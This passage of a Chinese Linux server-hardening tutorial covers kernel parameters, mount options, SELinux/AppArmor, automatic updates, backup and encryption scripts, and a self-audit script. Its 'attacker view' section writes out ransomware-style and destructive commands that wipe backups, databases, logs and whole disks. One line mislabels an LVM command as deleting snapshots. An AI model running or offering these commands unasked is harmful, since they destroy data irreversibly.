echo " [警告] 建议启用 Enforcing 模式"
fi
elif command -v aa-status &> /dev/null; then
profiles=$(aa-status --enabled 2>/dev/null && echo "已启用" || echo "未启用")
echo " AppArmor: $profiles"
else
echo " [警告] 未检测到 SELinux 或 AppArmor"
fi
# 检查系统更新
echo ""
echo "[检查] 系统更新状态:"
if command -v apt &> /dev/null; then
updates=$(apt list --upgradable 2>/dev/null | wc -l)
security=$(apt list --upgradable 2>/dev/null | grep -i security | wc -l)
echo " 可用更新: $updates 个,其中安全更新: $security 个"
elif command -v yum &> /dev/null; then
updates=$(yum check-update --quiet 2>/dev/null | wc -l)
echo " 可用更新: $updates 个"
fi
7.4 加固方案
◆ 7.4.1 内核参数加固
# /etc/sysctl.d/99-security.conf
# 网络安全参数
# 禁止 IP 转发(除非是路由器)
net.ipv4.ip_forward = 0
net.ipv6.conf.all.forwarding = 0
# 禁止 ICMP 重定向
net.ipv4.conf.all.send_redirects = 0
net.ipv4.conf.default.send_redirects = 0
net.ipv4.conf.all.accept_redirects = 0
net.ipv4.conf.default.accept_redirects = 0
net.ipv6.conf.all.accept_redirects = 0
net.ipv6.conf.default.accept_redirects = 0
# 禁止源路由
net.ipv4.conf.all.accept_source_route = 0
net.ipv4.conf.default.accept_source_route = 0
net.ipv6.conf.all.accept_source_route = 0
net.ipv6.conf.default.accept_source_route = 0
# 启用 SYN Cookie 防止 SYN 洪水攻击
net.ipv4.tcp_syncookies = 1
# 记录可疑数据包
net.ipv4.conf.all.log_martians = 1
net.ipv4.conf.default.log_martians = 1
# 忽略 ICMP 广播请求(防止 Smurf 攻击)
net.ipv4.icmp_echo_ignore_broadcasts = 1
# 忽略错误的 ICMP 响应
net.ipv4.icmp_ignore_bogus_error_responses = 1
# 启用反向路径过滤(防止 IP 欺骗)
net.ipv4.conf.all.rp_filter = 1
net.ipv4.conf.default.rp_filter = 1
# 内核安全参数
# 启用 ASLR(地址空间布局随机化)
kernel.randomize_va_space = 2
# 限制内核指针泄露
kernel.kptr_restrict = 2
# 限制 dmesg 访问
kernel.dmesg_restrict = 1
# 禁用 SUID 程序的 Core Dump
fs.suid_dumpable = 0
# 限制 ptrace(防止进程注入)
kernel.yama.ptrace_scope = 1
# 禁用非特权用户的 BPF
kernel.unprivileged_bpf_disabled = 1
# 应用配置
sudo sysctl -p /etc/sysctl.d/99-security.conf
◆ 7.4.2 文件系统加固
# /etc/fstab 加固示例
# /tmp 分区加固
tmpfs /tmp tmpfs defaults,noexec,nosuid,nodev,size=2G 0 0
# /var/tmp 绑定到 /tmp
/tmp /var/tmp none bind 0 0
# /dev/shm 加固
tmpfs /dev/shm tmpfs defaults,noexec,nosuid,nodev 0 0
# /home 分区(如果独立分区)
# 添加 nodev 选项
#/dev/sda3 /home ext4 defaults,nodev 0 2
# 重新挂载以立即生效
sudo mount -o remount /tmp
sudo mount -o remount /dev/shm
◆ 7.4.3 启用 SELinux/AppArmor
# CentOS/RHEL - SELinux
# 检查状态
getenforce
# 启用
sudo setenforce 1
# 持久化配置
sudo sed -i 's/SELINUX=disabled/SELINUX=enforcing/' /etc/selinux/config
sudo sed -i 's/SELINUX=permissive/SELINUX=enforcing/' /etc/selinux/config
# Ubuntu - AppArmor
# 检查状态
sudo aa-status
# 启用
sudo systemctl enable apparmor
sudo systemctl start apparmor
# 为服务设置 profile
sudo aa-enforce /etc/apparmor.d/usr.sbin.nginx
◆ 7.4.4 配置自动安全更新
# Ubuntu/Debian
sudo apt install -y unattended-upgrades
sudo dpkg-reconfigure -plow unattended-upgrades
# /etc/apt/apt.conf.d/50unattended-upgrades
Unattended-Upgrade::Allowed-Origins {
"${distro_id}:${distro_codename}-security";
};
Unattended-Upgrade::Package-Blacklist {
// 排除某些包
};
Unattended-Upgrade::AutoFixInterruptedDpkg "true";
Unattended-Upgrade::MinimalSteps "true";
Unattended-Upgrade::Mail "admin@example.com";
Unattended-Upgrade::MailOnlyOnError "true";
Unattended-Upgrade::Remove-Unused-Dependencies "true";
Unattended-Upgrade::Automatic-Reboot "false";
# CentOS/RHEL
sudo yum install -y yum-cron
# /etc/yum/yum-cron.conf
update_cmd = security
apply_updates = yes
emit_via = email
email_from = root@localhost
email_to = admin@example.com
sudo systemctl enable yum-cron
sudo systemctl start yum-cron
七、漏洞七:备份和恢复机制缺失
8.1 漏洞描述
没有备份的服务器就像没有保险的房子——火灾来了只能眼睁睁看着损失。勒索软件攻击之所以有效,很大程度上就是因为受害者没有可靠的备份。
8.2 攻击者视角
◆ 8.2.1 勒索软件攻击
# 勒索软件的典型行为
# 1. 加密所有重要文件
find / -type f \( -name "*.doc" -o -name "*.pdf" -o -name "*.sql" \) -exec encrypt_file {} \;
# 2. 删除备份
rm -rf /backup/*
find / -name "*.bak" -delete
find / -name "*.backup" -delete
# 3. 删除快照
lvcreate --snapshot # 删除 LVM 快照
zfs destroy pool@snapshot # 删除 ZFS 快照
◆ 8.2.2 破坏性攻击
# 删除关键数据
rm -rf /var/www/*
rm -rf /var/lib/mysql/*
# 覆盖磁盘
dd if=/dev/zero of=/dev/sda bs=1M
# 删除日志以掩盖痕迹
rm -rf /var/log/*
8.3 漏洞检测
#!/bin/bash
# 备份策略检查脚本
echo "=== 备份策略检查 ==="
# 检查备份目录
echo ""
echo "[检查] 备份目录:"
BACKUP_DIRS="/backup /var/backup /home/backup /data/backup"
for dir in $BACKUP_DIRS; do
if [ -d "$dir" ]; then
count=$(find $dir -type f -mtime -7 | wc -l)
echo " $dir: 存在, 最近7天文件数: $count"
fi
done
# 检查 cron 中的备份任务
echo ""
echo "[检查] 定时备份任务:"
grep -r "backup\|rsync\|mysqldump\|pg_dump\|tar" /etc/cron* /var/spool/cron 2>/dev/null | grep -v "^#"
# 检查数据库备份
echo ""
echo "[检查] 数据库备份:"
if command -v mysql &> /dev/null; then
echo " MySQL 已安装"
if [ -f /root/.my.cnf ] && [ -d /backup/mysql ]; then
latest=$(ls -t /backup/mysql/*.sql* 2>/dev/null | head -1)
if [ -n "$latest" ]; then
echo " 最新备份: $latest"
echo " 备份时间: $(stat -c %y $latest)"
else
echo " [警告] 未找到 MySQL 备份文件"
fi
fi
fi
# 检查远程备份配置
echo ""
echo "[检查] 远程备份配置:"
if [ -f /etc/rsyncd.conf ]; then
echo " rsync daemon 已配置"
fi
if crontab -l 2>/dev/null | grep -q "rsync.*@"; then
echo " 发现远程 rsync 备份任务"
fi
if [ -f ~/.aws/credentials ]; then
echo " 发现 AWS 凭证,可能使用 S3 备份"
fi
8.4 加固方案
◆ 8.4.1 本地备份策略
#!/bin/bash
# /usr/local/bin/backup.sh
# 综合备份脚本
set -e
# 配置
BACKUP_DIR="/backup"
RETENTION_DAYS=30
DATE=$(date +%Y%m%d_%H%M%S)
HOSTNAME=$(hostname)
# 创建备份目录
mkdir -p $BACKUP_DIR/{system,mysql,files}
# 系统配置备份
echo "=== 备份系统配置 ==="
tar -czf $BACKUP_DIR/system/etc_$DATE.tar.gz /etc/
# 数据库备份
echo "=== 备份数据库 ==="
if command -v mysqldump &> /dev/null; then
mysqldump --all-databases --single-transaction --routines --triggers \
| gzip > $BACKUP_DIR/mysql/all_databases_$DATE.sql.gz
fi
if command -v pg_dumpall &> /dev/null; then
pg_dumpall | gzip > $BACKUP_DIR/postgresql/all_databases_$DATE.sql.gz
fi
# 重要文件备份
echo "=== 备份重要文件 ==="
tar -czf $BACKUP_DIR/files/www_$DATE.tar.gz /var/www/
tar -czf $BACKUP_DIR/files/home_$DATE.tar.gz /home/
# 清理旧备份
echo "=== 清理旧备份 ==="
find $BACKUP_DIR -type f -mtime +$RETENTION_DAYS -delete
# 验证备份
echo "=== 验证备份 ==="
for file in $(find $BACKUP_DIR -name "*_$DATE*"); do
if gzip -t $file 2>/dev/null; then
echo " OK: $file"
else
echo " FAILED: $file"
fi
done
echo "=== 备份完成 ==="
# 添加到 crontab
# 每天凌晨 2 点执行备份
0 2 * * * /usr/local/bin/backup.sh >> /var/log/backup.log 2>&1
◆ 8.4.2 远程备份(3-2-1 原则)
# 3-2-1 备份原则:
# - 3 份数据副本
# - 2 种不同存储介质
# - 1 份异地存储
# 使用 rsync 同步到远程服务器
#!/bin/bash
# /usr/local/bin/remote-backup.sh
BACKUP_DIR="/backup"
REMOTE_HOST="backup-server.example.com"
REMOTE_USER="backup"
REMOTE_DIR="/backup/$(hostname)"
# 使用 rsync 增量同步
rsync -avz --delete \
-e "ssh -i /root/.ssh/backup_key -o StrictHostKeyChecking=yes" \
$BACKUP_DIR/ \
$REMOTE_USER@$REMOTE_HOST:$REMOTE_DIR/
# 发送备份报告
echo "备份完成: $(date)" | mail -s "备份报告 - $(hostname)" admin@example.com
# 使用 AWS S3
#!/bin/bash
# 安装 AWS CLI
# pip install awscli
# 配置
BUCKET="s3://my-backup-bucket"
BACKUP_DIR="/backup"
# 同步到 S3
aws s3 sync $BACKUP_DIR $BUCKET/$(hostname)/ \
--storage-class STANDARD_IA \
--delete
# 设置生命周期策略转移到 Glacier
aws s3api put-bucket-lifecycle-configuration \
--bucket my-backup-bucket \
--lifecycle-configuration file://lifecycle.json
◆ 8.4.3 备份加密
#!/bin/bash
# 加密备份
BACKUP_FILE=$1
ENCRYPTED_FILE="${BACKUP_FILE}.enc"
GPG_RECIPIENT="backup@example.com"
# 使用 GPG 加密
gpg --encrypt --recipient $GPG_RECIPIENT \
--output $ENCRYPTED_FILE \
$BACKUP_FILE
# 删除未加密文件
rm -f $BACKUP_FILE
echo "加密完成: $ENCRYPTED_FILE"
# 使用 OpenSSL 加密(适合自动化)
# 加密
openssl enc -aes-256-cbc -salt -pbkdf2 \
-in backup.tar.gz \
-out backup.tar.gz.enc \
-pass file:/root/.backup-password
# 解密
openssl enc -aes-256-cbc -d -pbkdf2 \
-in backup.tar.gz.enc \
-out backup.tar.gz \
-pass file:/root/.backup-password
◆ 8.4.4 备份验证和恢复测试
#!/bin/bash
# 备份验证脚本
BACKUP_DIR="/backup"
TEST_DIR="/tmp/backup-test"
DATE=$(date +%Y%m%d)
echo "=== 备份验证开始 ==="
# 创建测试目录
rm -rf $TEST_DIR
mkdir -p $TEST_DIR
# 获取最新备份
LATEST_BACKUP=$(ls -t $BACKUP_DIR/files/*.tar.gz | head -1)
# 解压测试
echo "测试解压: $LATEST_BACKUP"
tar -tzf $LATEST_BACKUP > /dev/null
if [ $? -eq 0 ]; then
echo " 解压测试: 通过"
else
echo " 解压测试: 失败"
exit 1
fi
# 完整性检查
echo "测试完整性..."
tar -xzf $LATEST_BACKUP -C $TEST_DIR
FILE_COUNT=$(find $TEST_DIR -type f | wc -l)
echo " 解压文件数: $FILE_COUNT"
# 数据库备份测试
LATEST_DB=$(ls -t $BACKUP_DIR/mysql/*.sql.gz | head -1)
echo "测试数据库备份: $LATEST_DB"
zcat $LATEST_DB | head -100 > /dev/null
if [ $? -eq 0 ]; then
echo " 数据库备份测试: 通过"
else
echo " 数据库备份测试: 失败"
fi
# 清理
rm -rf $TEST_DIR
echo "=== 备份验证完成 ==="
八、安全自查清单
9.1 快速检查脚本
#!/bin/bash
# 综合安全自查脚本
# security-audit.sh
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
NC='\033[0m' # No Color
echo "======================================"
echo " Linux 服务器安全自查报告"
echo " 检查时间: $(date)"
echo " 主机名: $(hostname)"
echo "======================================"
PASS=0
WARN=0
FAIL=0
check_result() {
if [ "$1" == "PASS" ]; then
echo -e "${GREEN}[PASS]${NC}$2"
((PASS++))
elif [ "$1" == "WARN" ]; then
echo -e "${YELLOW}[WARN]${NC}$2"
((WARN++))
else
echo -e "${RED}[FAIL]${NC}$2"
((FAIL++))
fi
}
echo ""
echo "=== SSH 安全 ==="
# SSH root 登录
if grep -q "^PermitRootLogin no" /etc/ssh/sshd_config; then
check_result "PASS" "禁止 root 登录"
else
check_result "FAIL" "允许 root 登录"
fi
# SSH 密码认证
if grep -q "^PasswordAuthentication no" /etc/ssh/sshd_config; then
check_result "PASS" "禁用密码认证"
else
check_result "WARN" "允许密码认证"
fi
echo ""
echo "=== 密码策略 ==="
# 密码最长有效期
MAX_DAYS=$(grep "^PASS_MAX_DAYS" /etc/login.defs | awk '{print $2}')
if [ "$MAX_DAYS" -le 90 ]; then
check_result "PASS" "密码最长有效期: $MAX_DAYS 天"
else
check_result "WARN" "密码有效期过长: $MAX_DAYS 天"
fi
echo ""
echo "=== 权限配置 ==="
# 检查危险 SUID 文件
DANGEROUS=$(find /usr -perm -4000 -type f 2>/dev/null | grep -E "vim|vi|nano|find|python|perl" | wc -l)
if [ "$DANGEROUS" -eq 0 ]; then
check_result "PASS" "无危险 SUID 文件"
else
check_result "FAIL" "发现 $DANGEROUS 个危险 SUID 文件"
fi
# /etc/shadow 权限
SHADOW_PERM=$(stat -c "%a" /etc/shadow)
if [ "$SHADOW_PERM" == "600" ] || [ "$SHADOW_PERM" == "000" ]; then
check_result "PASS" "/etc/shadow 权限正确: $SHADOW_PERM"
else
check_result "FAIL" "/etc/shadow 权限不正确: $SHADOW_PERM"
fi
echo ""
echo "=== 服务和端口 ==="
# 检查高危服务
for port in 21 23 3306 6379 27017 2375; do
if ss -tulnp | grep -q ":$port.*0.0.0.0"; then
check_result "FAIL" "高危端口 $port 监听所有接口"
fi
done
# 防火墙状态
if systemctl is-active --quiet firewalld || systemctl is-active --quiet ufw; then
check_result "PASS" "防火墙已启用"
else
check_result "FAIL" "防火墙未启用"
fi
echo ""
echo "=== 日志和审计 ==="
# 审计服务
if systemctl is-active --quiet auditd; then
check_result "PASS" "审计服务已启用"
else
check_result "WARN" "审计服务未启用"
fi
# 远程日志
if grep -q "^\*.\*@.*" /etc/rsyslog.conf 2>/dev/null; then
check_result "PASS" "已配置远程日志"
else
check_result "WARN" "未配置远程日志"
fi
echo ""
echo "=== 系统加固 ==="
# ASLR
ASLR=$(cat /proc/sys/kernel/randomize_va_space)
if [ "$ASLR" == "2" ]; then
check_result "PASS" "ASLR 已启用"
else
check_result "FAIL" "ASLR 未完全启用: $ASLR"
fi
# SELinux/AppArmor
if command -v getenforce &>/dev/null; then
SE_STATUS=$(getenforce)
if [ "$SE_STATUS" == "Enforcing" ]; then
check_result "PASS" "SELinux: $SE_STATUS"
else
check_result "WARN" "SELinux: $SE_STATUS"
fi
elif command -v aa-status &>/dev/null; then
AA_STATUS=$(aa-status --enabled 2>/dev/null && echo "enabled" || echo "disabled")
if [ "$AA_STATUS" == "enabled" ]; then
check_result "PASS" "AppArmor 已启用"
else
check_result "WARN" "AppArmor 未启用"
fi
else
check_result "WARN" "未安装 SELinux 或 AppArmor"
fi
echo ""
echo "=== 备份 ==="
# 检查备份目录
if [ -d /backup ] && [ "$(find /backup -type f -mtime -7 | wc -l)" -gt 0 ]; then
check_result "PASS" "发现最近的备份文件"
else
check_result "WARN" "未发现最近的备份文件"
fi
echo ""
echo "======================================"
echo " 检查完成"
echo "======================================"
echo -e " ${GREEN}通过: $PASS${NC}"
echo -e " ${YELLOW}警告: $WARN${NC}"
echo -e " ${RED}失败: $FAIL${NC}"
echo "======================================"
九、总结
10.1 核心要点回顾
- SSH 安全:禁用 root 登录,使用密钥认证,配置 Fail2Ban
- 密码管理:强密码策略,定期更换,使用密钥管理工具
- 权限控制:最小权限原则,清理 SUID,安全的 sudo 配置
- 服务暴露:最小化开放端口,绑定内网接口,启用防火墙
- 日志审计:完善的日志配置,远程日志,审计系统
- 系统加固:安全的内核参数,文件系统限制,安全模块
- 备份策略:3-2-1 原则,加密备份,定期验证
10.2 安全是持续的过程
安全不是一次性的配置,而是持续的过程:
- 定期扫描:使用 Lynis、CIS-CAT 等工具定期扫描
- 及时更新:关注安全公告,及时打补丁
- 持续监控:实时监控异常行为
- 安全培训:提高团队安全意识
- 应急响应:制定并演练应急响应计划
10.3 进阶学习方向
- 容器安全
- Docker 安全最佳实践
- Kubernetes RBAC 和 Pod Security
- 渗透测试
- OWASP Testing Guide
- Kali Linux 和常用工具
- 安全合规
10.4 参考资料
- CIS Benchmarks —— 权威的安全基线
- OWASP —— Web 安全指南
- Linux Security HOWTO —— Linux 安全指南
- Lynis —— 开源安全审计工具
附录
A. 常用安全工具
# 安全扫描工具
lynis audit system # 系统安全扫描
chkrootkit # Rootkit 检测
rkhunter --check # Rootkit 检测
tiger # 安全审计
# 入侵检测
aide --check # 文件完整性检查
ossec # 主机入侵检测系统
# 漏洞扫描
nmap -sV --script vuln target # 漏洞扫描
nikto -h target # Web 漏洞扫描
B. 安全检查命令速查
# 用户和权限
cat /etc/passwd # 查看用户
cat /etc/shadow # 查看密码哈希
cat /etc/group # 查看组
getent passwd # 获取用户信息
id username # 查看用户 ID 和组
sudo -l # 查看 sudo 权限
find / -perm -4000 # 查找 SUID 文件
find / -perm -2000 # 查找 SGID 文件
# 网络和服务
ss -tulnp # 查看监听端口
netstat -tulnp # 查看监听端口(旧)
systemctl list-unit-files # 查看服务
ps aux # 查看进程
lsof -i # 查看网络连接
# 日志
journalctl -xe # 查看系统日志
tail -f /var/log/auth.log # 查看认证日志
ausearch -m LOGIN # 查看登录审计
last # 查看登录历史
lastb # 查看失败登录
# 系统信息
uname -a # 系统版本
cat /etc/os-release # 发行版信息
uptime # 运行时间
who # 当前登录用户
w # 用户活动
C. 术语表
| 术语 |
英文 |
解释 |
| SUID |
Set User ID |
设置用户 ID 位,执行时以文件所有者权限运行 |
| SGID |
Set Group ID |
设置组 ID 位,执行时以文件所属组权限运行 |
| ASLR |
Address Space Layout Randomization |
地址空间布局随机化,防止缓冲区溢出攻击 |
| PAM |
Pluggable Authentication Modules |
可插拔认证模块 |
| SELinux |
Security-Enhanced Linux |
安全增强型 Linux,强制访问控制 |
| AppArmor |
Application Armor |
应用程序铠甲,基于路径的访问控制 |
| auditd |
Audit Daemon |
Linux 审计守护进程 |
| umask |
User Mask |
用户文件创建权限掩码 |
| PTY |
Pseudo Terminal |
伪终端 |
| TTY |
Teletypewriter |
电传打字机,终端设备 |
如需进一步深入学习,欢迎访问 云栈社区,获取更多关于 运维 & 测试、运维/DevOps/SRE、安全/渗透/逆向 和 网络/系统 的高质量技术内容。